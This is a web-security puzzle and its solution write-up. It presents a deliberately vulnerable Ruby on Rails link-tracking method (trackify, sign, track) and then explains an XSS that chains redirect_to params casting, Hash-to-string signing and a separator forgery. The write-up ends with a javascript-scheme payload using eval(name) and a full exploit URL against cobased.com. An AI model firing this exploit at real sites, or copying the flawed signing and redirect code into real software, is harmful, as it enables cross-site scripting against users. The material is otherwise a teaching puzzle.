Puzzle #1
Our task is to track clicked links in the emails. We created trackify method which replaces all URLs in supplied text to proxied ones. To prevent spoofing and open redirects we created a “sign” method.
What you need to find is an XSS in this functionality. It can require up to 1 click. For updates and tips check my feed.
Send your solutions along with writups to homakov@gmail.com please. The winner gets 0.1 BTC, this is a beta puzzle and future rewards will be better, for sure!
Tip 1: POST /trackify with body parameter to invoke trackify method
Tip 2: This trick might help
SECRET = 'something'
def sign(t, url)
dump = [t, url].join('=')
p dump
OpenSSL::HMAC.hexdigest('sha1', SECRET, dump)
end
def track
spl = params[:hash].split('-')
if spl.count == 2
redirect_to sign(spl[0], params[:url]) == spl[1] ? params[:url] : '/FAIL'
end
end
def trackify
doc = Nokogiri::HTML.fragment(params[:body])
timestamp = Time.now.to_i
doc.search('a').each do |node|
url = (node['href'])
if url.starts_with? 'https://'
node['href'] = "https://cobased.com/track?hash=#{timestamp}-#{sign(timestamp, node['href'])}&url=#{URI.encode(node['href'])}".html_safe
end
end
content_type = 'text/plain'
render text: doc.to_s, content_type: 'text/plain' #{response: doc.to_s}
end
The Solution
There wasn’t much competition so we sent 0.1 BTC to @joernchen and to @titanous as they understood the core concept behind this.
The vulnerability here is an interesting fusion of three different tricks I previously wrote about: redirect_to params trick, serialization pitfalls (we will have a blog post on this one) and abusing params casting.
According to Tip #2 we need to pass url[status]=200&url[protocol]=javascript:… FYI this doesn’t work anymore and for edge rails we need something more complex (javascript:// scheme + new line trick):
payload = {"status" => "200","protocol" => "javascript","f"=>"\neval(name)"}
This is what we need to get in params[:url]. But how do we sign a Hash? Cool thing about modern programming languages is that they love casting!
Python: str({“x”:”1”}) # “{‘x’: ‘1’}”
PHP: Array(“x”=>”1”); # “Array”
Ruby: {“x”=>”1”} # {“x”=>”1”}
So instead of trying to sign a Hash object let’s cast it to String and sign the result!
payload.to_s.gsub('>','>')
(don’t forget to replace hash rockets with html entities)
Gives us:
{"status"=>"200", "protocol"=>"javascript", "f"=>"\neval(name)"}
OK awesome, let’s try to trackify this body
<a href='{"status"=>"200", "protocol"=>"javascript", "f"=>"\neval(name)"}'>link</a>
Oh wait, we forgot about url.starts_with? 'https://'
. Now let’s look at custom serialization again. The pitfall here is the signature for original
TIMESTAMP = https://={"status"=>"200", "protocol"=>"javascript", "f"=>"\neval(name)"}
will remain valid even when we put “=https://” in the timestamp parameter and send our params[:url] as a Hash
TIMESTAMP=https:// = {"status"=>"200", "protocol"=>"javascript", "f"=>"\neval(name)"}
So the final exploit looks like https://cobased.com/track?hash=1405177298=https://ok.com/-f45294c86953da8388e2f0f8dff42a14823a4529&url[status]=200&url[protocol]=javascript&url[f]=%0Aeval(name)
Stay tuned for more challenges!